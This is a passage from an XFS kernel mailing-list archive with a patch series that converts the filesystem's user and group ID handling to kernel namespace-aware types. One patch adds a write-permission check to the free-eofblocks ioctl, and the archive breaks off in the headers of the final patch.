xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CC8B27F6D for ; Tue, 23 Jul 2013 23:52:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9BD52304064 for ; Tue, 23 Jul 2013 21:52:38 -0700 (PDT) X-ASG-Debug-ID: 1374641556-04bdf0245b347f70001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id pJmWkASjpPJa6zqL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:37 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qahU007074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:36 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qZ9g013010 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:36 GMT Received: from abhmt111.oracle.com (abhmt111.oracle.com [141.146.116.63]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qZql013004 for ; Wed, 24 Jul 2013 04:52:35 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:35 -0700 Date: Wed, 24 Jul 2013 00:52:49 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 4/7] xfs: convert kuid_t to/from uid_t for internal structures Message-ID: <20130724005249.16310bf7@oracle.com> X-ASG-Orig-Subj: [PATCH v5 4/7] xfs: convert kuid_t to/from uid_t for internal structures Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374641557 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Use uint32 from init_user_ns for xfs internal uid/gid representation in xfs_icdinode, xfs_dqid_t. Signed-off-by: Dwight Engen --- fs/xfs/xfs_inode.c | 6 +++--- fs/xfs/xfs_iops.c | 38 ++++++++++++++++++++------------------ fs/xfs/xfs_qm.c | 10 +++++----- fs/xfs/xfs_quota.h | 11 ++++++----- fs/xfs/xfs_symlink.c | 7 +++++-- fs/xfs/xfs_vnodeops.c | 8 +++++--- 6 files changed, 44 insertions(+), 36 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..9ae4a90 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1288,8 +1288,8 @@ xfs_ialloc( ip->i_d.di_onlink = 0; ip->i_d.di_nlink = nlink; ASSERT(ip->i_d.di_nlink == nlink); - ip->i_d.di_uid = current_fsuid(); - ip->i_d.di_gid = current_fsgid(); + ip->i_d.di_uid = xfs_kuid_to_uid(current_fsuid()); + ip->i_d.di_gid = xfs_kgid_to_gid(current_fsgid()); xfs_set_projid(ip, prid); memset(&(ip->i_d.di_pad[0]), 0, sizeof(ip->i_d.di_pad)); @@ -1328,7 +1328,7 @@ xfs_ialloc( */ if ((irix_sgid_inherit) && (ip->i_d.di_mode & S_ISGID) && - (!in_group_p((gid_t)ip->i_d.di_gid))) { + (!in_group_p(xfs_gid_to_kgid(ip->i_d.di_gid)))) { ip->i_d.di_mode &= ~S_ISGID; } diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 96dda62..10e0152 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -420,8 +420,8 @@ xfs_vn_getattr( stat->dev = inode->i_sb->s_dev; stat->mode = ip->i_d.di_mode; stat->nlink = ip->i_d.di_nlink; - stat->uid = ip->i_d.di_uid; - stat->gid = ip->i_d.di_gid; + stat->uid = inode->i_uid; + stat->gid = inode->i_gid; stat->ino = ip->i_ino; stat->atime = inode->i_atime; stat->mtime = inode->i_mtime; @@ -485,8 +485,8 @@ xfs_setattr_nonsize( int mask = iattr->ia_valid; xfs_trans_t *tp; int error; - uid_t uid = 0, iuid = 0; - gid_t gid = 0, igid = 0; + kuid_t uid = GLOBAL_ROOT_UID, iuid = GLOBAL_ROOT_UID; + kgid_t gid = GLOBAL_ROOT_GID, igid = GLOBAL_ROOT_GID; struct xfs_dquot *udqp = NULL, *gdqp = NULL; struct xfs_dquot *olddquot1 = NULL, *olddquot2 = NULL; @@ -522,13 +522,13 @@ xfs_setattr_nonsize( uid = iattr->ia_uid; qflags |= XFS_QMOPT_UQUOTA; } else { - uid = ip->i_d.di_uid; + uid = inode->i_uid; } if ((mask & ATTR_GID) && XFS_IS_GQUOTA_ON(mp)) { gid = iattr->ia_gid; qflags |= XFS_QMOPT_GQUOTA; } else { - gid = ip->i_d.di_gid; + gid = inode->i_gid; } /* @@ -538,8 +538,10 @@ xfs_setattr_nonsize( */ ASSERT(udqp == NULL); ASSERT(gdqp == NULL); - error = xfs_qm_vop_dqalloc(ip, uid, gid, xfs_get_projid(ip), - qflags, &udqp, &gdqp, NULL); + error = xfs_qm_vop_dqalloc(ip, xfs_kuid_to_uid(uid), + xfs_kgid_to_gid(gid), + xfs_get_projid(ip), + qflags, &udqp, &gdqp, NULL); if (error) return error; } @@ -561,8 +563,8 @@ xfs_setattr_nonsize( * while we didn't have the inode locked, inode's dquot(s) * would have changed also. */ - iuid = ip->i_d.di_uid; - igid = ip->i_d.di_gid; + iuid = inode->i_uid; + igid = inode->i_gid; gid = (mask & ATTR_GID) ? iattr->ia_gid : igid; uid = (mask & ATTR_UID) ? iattr->ia_uid : iuid; @@ -571,8 +573,8 @@ xfs_setattr_nonsize( * going to change. */ if (XFS_IS_QUOTA_RUNNING(mp) && - ((XFS_IS_UQUOTA_ON(mp) && iuid != uid) || - (XFS_IS_GQUOTA_ON(mp) && igid != gid))) { + ((XFS_IS_UQUOTA_ON(mp) && !uid_eq(iuid, uid)) || + (XFS_IS_GQUOTA_ON(mp) && !gid_eq(igid, gid)))) { ASSERT(tp); error = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, NULL, capable(CAP_FOWNER) ? @@ -602,17 +604,17 @@ xfs_setattr_nonsize( * Change the ownerships and register quota modifications * in the transaction. */ - if (iuid != uid) { + if (!uid_eq(iuid, uid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_UQUOTA_ON(mp)) { ASSERT(mask & ATTR_UID); ASSERT(udqp); olddquot1 = xfs_qm_vop_chown(tp, ip, &ip->i_udquot, udqp); } - ip->i_d.di_uid = uid; + ip->i_d.di_uid = xfs_kuid_to_uid(uid); inode->i_uid = uid; } - if (igid != gid) { + if (!gid_eq(igid, gid)) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_GQUOTA_ON(mp)) { ASSERT(!XFS_IS_PQUOTA_ON(mp)); ASSERT(mask & ATTR_GID); @@ -620,7 +622,7 @@ xfs_setattr_nonsize( olddquot2 = xfs_qm_vop_chown(tp, ip, &ip->i_gdquot, gdqp); } - ip->i_d.di_gid = gid; + ip->i_d.di_gid = xfs_kgid_to_gid(gid); inode->i_gid = gid; } } @@ -1173,8 +1175,8 @@ xfs_setup_inode( inode->i_mode = ip->i_d.di_mode; set_nlink(inode, ip->i_d.di_nlink); - inode->i_uid = ip->i_d.di_uid; - inode->i_gid = ip->i_d.di_gid; + inode->i_uid = xfs_uid_to_kuid(ip->i_d.di_uid); + inode->i_gid = xfs_gid_to_kgid(ip->i_d.di_gid); switch (inode->i_mode & S_IFMT) { case S_IFBLK: diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d320794..bcb49c5 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -1734,8 +1734,8 @@ xfs_qm_write_sb_changes( int xfs_qm_vop_dqalloc( struct xfs_inode *ip, - uid_t uid, - gid_t gid, + xfs_dqid_t uid, + xfs_dqid_t gid, prid_t prid, uint flags, struct xfs_dquot **O_udqpp, @@ -1782,7 +1782,7 @@ xfs_qm_vop_dqalloc( * holding ilock. */ xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t) uid, + error = xfs_qm_dqget(mp, NULL, uid, XFS_DQ_USER, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1809,7 +1809,7 @@ xfs_qm_vop_dqalloc( if ((flags & XFS_QMOPT_GQUOTA) && XFS_IS_GQUOTA_ON(mp)) { if (ip->i_d.di_gid != gid) { xfs_iunlock(ip, lockflags); - error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t)gid, + error = xfs_qm_dqget(mp, NULL, gid, XFS_DQ_GROUP, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, @@ -1943,7 +1943,7 @@ xfs_qm_vop_chown_reserve( XFS_QMOPT_RES_RTBLKS : XFS_QMOPT_RES_REGBLKS; if (XFS_IS_UQUOTA_ON(mp) && udqp && - ip->i_d.di_uid != (uid_t)be32_to_cpu(udqp->q_core.d_id)) { + ip->i_d.di_uid != be32_to_cpu(udqp->q_core.d_id)) { udq_delblks = udqp; /* * If there are delayed allocation blocks, then we have to diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index b14f42c..39720ef 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -340,8 +340,9 @@ extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, struct xfs_mount *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *, long, long, uint); -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **, struct xfs_dquot **); +extern int xfs_qm_vop_dqalloc(struct xfs_inode *, xfs_dqid_t, xfs_dqid_t, + prid_t, uint, struct xfs_dquot **, struct xfs_dquot **, + struct xfs_dquot **); extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, struct xfs_dquot *, struct xfs_dquot *, struct xfs_dquot *); extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); @@ -362,9 +363,9 @@ extern void xfs_qm_unmount_quotas(struct xfs_mount *); #else static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp, - struct xfs_dquot **pdqp) +xfs_qm_vop_dqalloc(struct xfs_inode *ip, xfs_dqid_t uid, xfs_dqid_t gid, + prid_t prid, uint flags, struct xfs_dquot **udqp, + struct xfs_dquot **gdqp, struct xfs_dquot **pdqp) { *udqp = NULL; *gdqp = NULL; diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f4895b6..d39fcfd 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -386,8 +386,11 @@ xfs_symlink( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) goto std_return; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index dc730ac..ed8aa19 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -507,9 +507,11 @@ xfs_create( /* * Make sure that we have allocated dquot(s) on disk. */ - error = xfs_qm_vop_dqalloc(dp, current_fsuid(), current_fsgid(), prid, - XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, - &udqp, &gdqp, &pdqp); + error = xfs_qm_vop_dqalloc(dp, + xfs_kuid_to_uid(current_fsuid()), + xfs_kgid_to_gid(current_fsgid()), prid, + XFS_QMOPT_QUOTALL | XFS_QMOPT_INHERIT, + &udqp, &gdqp, &pdqp); if (error) return error; -- 1.8.1.4 From dwight.engen@oracle.com Tue Jul 23 23:52:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 273277F75 for ; Tue, 23 Jul 2013 23:52:46 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A751DAC006 for ; Tue, 23 Jul 2013 21:52:45 -0700 (PDT) X-ASG-Debug-ID: 1374641564-04cb6c2a41108ff20001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id P1r5iN8iTowo5twT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:44 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qhOt003984 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:44 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qgKM027152 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:43 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qg72020947 for ; Wed, 24 Jul 2013 04:52:42 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:42 -0700 Date: Wed, 24 Jul 2013 00:52:56 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 5/7] xfs: create internal eofblocks structure with kuid_t types Message-ID: <20130724005256.55220dc2@oracle.com> X-ASG-Orig-Subj: [PATCH v5 5/7] xfs: create internal eofblocks structure with kuid_t types Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374641564 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Have eofblocks ioctl convert uid_t to kuid_t into internal structure. Update internal filter matching to compare ids with kuid_t types. Signed-off-by: Dwight Engen --- fs/xfs/xfs_fs.h | 2 +- fs/xfs/xfs_icache.c | 12 ++++++------ fs/xfs/xfs_icache.h | 33 +++++++++++++++++++++++++++++++++ fs/xfs/xfs_ioctl.c | 10 +++++++--- 4 files changed, 47 insertions(+), 10 deletions(-) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index d046955..7eb4a5e 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -344,7 +344,7 @@ typedef struct xfs_error_injection { * Speculative preallocation trimming. */ #define XFS_EOFBLOCKS_VERSION 1 -struct xfs_eofblocks { +struct xfs_fs_eofblocks { __u32 eof_version; __u32 eof_flags; uid_t eof_uid; diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 3f90e1c..ed35584 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -619,7 +619,7 @@ restart: /* * Background scanning to trim post-EOF preallocated space. This is queued - * based on the 'background_prealloc_discard_period' tunable (5m by default). + * based on the 'speculative_prealloc_lifetime' tunable (5m by default). */ STATIC void xfs_queue_eofblocks( @@ -1203,15 +1203,15 @@ xfs_inode_match_id( struct xfs_inode *ip, struct xfs_eofblocks *eofb) { - if (eofb->eof_flags & XFS_EOF_FLAGS_UID && - ip->i_d.di_uid != eofb->eof_uid) + if ((eofb->eof_flags & XFS_EOF_FLAGS_UID) && + !uid_eq(VFS_I(ip)->i_uid, eofb->eof_uid)) return 0; - if (eofb->eof_flags & XFS_EOF_FLAGS_GID && - ip->i_d.di_gid != eofb->eof_gid) + if ((eofb->eof_flags & XFS_EOF_FLAGS_GID) && + !gid_eq(VFS_I(ip)->i_gid, eofb->eof_gid)) return 0; - if (eofb->eof_flags & XFS_EOF_FLAGS_PRID && + if ((eofb->eof_flags & XFS_EOF_FLAGS_PRID) && xfs_get_projid(ip) != eofb->eof_prid) return 0; diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index a01afbb..3835df2 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -21,6 +21,14 @@ struct xfs_mount; struct xfs_perag; +struct xfs_eofblocks { + __u32 eof_flags; + kuid_t eof_uid; + kgid_t eof_gid; + prid_t eof_prid; + __u64 eof_min_file_size; +}; + #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ @@ -49,4 +57,29 @@ int xfs_inode_ag_iterator_tag(struct xfs_mount *mp, int flags, void *args), int flags, void *args, int tag); +static inline int +xfs_fs_eofblocks_from_user( + struct xfs_fs_eofblocks *src, + struct xfs_eofblocks *dst) +{ + dst->eof_flags = src->eof_flags; + dst->eof_prid = src->eof_prid; + dst->eof_min_file_size = src->eof_min_file_size; + + dst->eof_uid = INVALID_UID; + if (src->eof_flags & XFS_EOF_FLAGS_UID) { + dst->eof_uid = make_kuid(current_user_ns(), src->eof_uid); + if (!uid_valid(dst->eof_uid)) + return EINVAL; + } + + dst->eof_gid = INVALID_GID; + if (src->eof_flags & XFS_EOF_FLAGS_GID) { + dst->eof_gid = make_kgid(current_user_ns(), src->eof_gid); + if (!gid_valid(dst->eof_gid)) + return EINVAL; + } + return 0; +} + #endif diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 8edc780..ecab261 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1610,7 +1610,8 @@ xfs_file_ioctl( return -error; case XFS_IOC_FREE_EOFBLOCKS: { - struct xfs_eofblocks eofb; + struct xfs_fs_eofblocks eofb; + struct xfs_eofblocks keofb; if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); @@ -1625,8 +1626,11 @@ xfs_file_ioctl( memchr_inv(eofb.pad64, 0, sizeof(eofb.pad64))) return -XFS_ERROR(EINVAL); - error = xfs_icache_free_eofblocks(mp, &eofb); - return -error; + error = xfs_fs_eofblocks_from_user(&eofb, &keofb); + if (error) + return -error; + + return -xfs_icache_free_eofblocks(mp, &keofb); } default: -- 1.8.1.4 From dwight.engen@oracle.com Tue Jul 23 23:52:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5239D7F78 for ; Tue, 23 Jul 2013 23:52:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C246AAC006 for ; Tue, 23 Jul 2013 21:52:50 -0700 (PDT) X-ASG-Debug-ID: 1374641569-04cb6c2a42108ff50001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id rEFXA5m0dqW6pAnG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:49 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qmVb007258 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:49 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qlYV013280 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:48 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qlBM027276 for ; Wed, 24 Jul 2013 04:52:47 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:47 -0700 Date: Wed, 24 Jul 2013 00:53:01 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl Message-ID: <20130724005301.0ed718d2@oracle.com> X-ASG-Orig-Subj: [PATCH v5 6/7] xfs: add permission check to free eofblocks ioctl Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1374641569 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137263 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines We need to check that userspace callers can only truncate preallocated blocks from files they have write access to to prevent them from prematurley reclaiming blocks from another user. The internal reclaimer will not specify the XFS_EOF_FLAGS_PERM_CHECK flag, but userspace callers should. Add check for read-only filesystem to free eofblocks ioctl. Signed-off-by: Dwight Engen --- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_icache.c | 4 ++++ fs/xfs/xfs_ioctl.c | 4 ++++ 3 files changed, 9 insertions(+) diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index 7eb4a5e..aee4b12 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -361,6 +361,7 @@ struct xfs_fs_eofblocks { #define XFS_EOF_FLAGS_GID (1 << 2) /* filter by gid */ #define XFS_EOF_FLAGS_PRID (1 << 3) /* filter by project id */ #define XFS_EOF_FLAGS_MINFILESIZE (1 << 4) /* filter by min file size */ +#define XFS_EOF_FLAGS_PERM_CHECK (1 << 5) /* check can write inode */ #define XFS_EOF_FLAGS_VALID \ (XFS_EOF_FLAGS_SYNC | \ XFS_EOF_FLAGS_UID | \ diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index ed35584..823f2c0 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( if (!xfs_inode_match_id(ip, eofb)) return 0; + if ((eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK) && + inode_permission(VFS_I(ip), MAY_WRITE)) + return 0; + /* skip the inode if the file size is too small */ if (eofb->eof_flags & XFS_EOF_FLAGS_MINFILESIZE && XFS_ISIZE(ip) < eofb->eof_min_file_size) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ecab261..c7cb632 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1613,6 +1613,9 @@ xfs_file_ioctl( struct xfs_fs_eofblocks eofb; struct xfs_eofblocks keofb; + if (IS_RDONLY(inode)) + return -XFS_ERROR(EROFS); + if (copy_from_user(&eofb, arg, sizeof(eofb))) return -XFS_ERROR(EFAULT); @@ -1630,6 +1633,7 @@ xfs_file_ioctl( if (error) return -error; + keofb.eof_flags |= XFS_EOF_FLAGS_PERM_CHECK; return -xfs_icache_free_eofblocks(mp, &keofb); } -- 1.8.1.4 From dwight.engen@oracle.com Tue Jul 23 23:52:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 125D87F83 for ; Tue, 23 Jul 2013 23:52:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8EE90AC006 for ; Tue, 23 Jul 2013 21:52:55 -0700 (PDT) X-ASG-Debug-ID: 1374641574-04cbb0468e1337e30001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 3h0NfAjBDYfq1zft (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 21:52:54 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6O4qrua004101 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 24 Jul 2013 04:52:54 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qriF026738 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Jul 2013 04:52:53 GMT Received: from abhmt119.oracle.com (abhmt119.oracle.com [141.146.116.71]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6O4qqaC027381 for ; Wed, 24 Jul 2013 04:52:53 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 23 Jul 2013 21:52:52 -0700 Date: Wed, 24 Jul 2013 00:53:07 -0400 From: Dwight Engen To: xfs@oss.sgi.com Subject: [PATCH v5 7/7] enable building user namespace with xfs Message-ID: <20130724005307.665c6760@oracle.com> X-ASG-Orig-Subj: [PATCH v5 7/7] enable building user namespace with xfs Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] 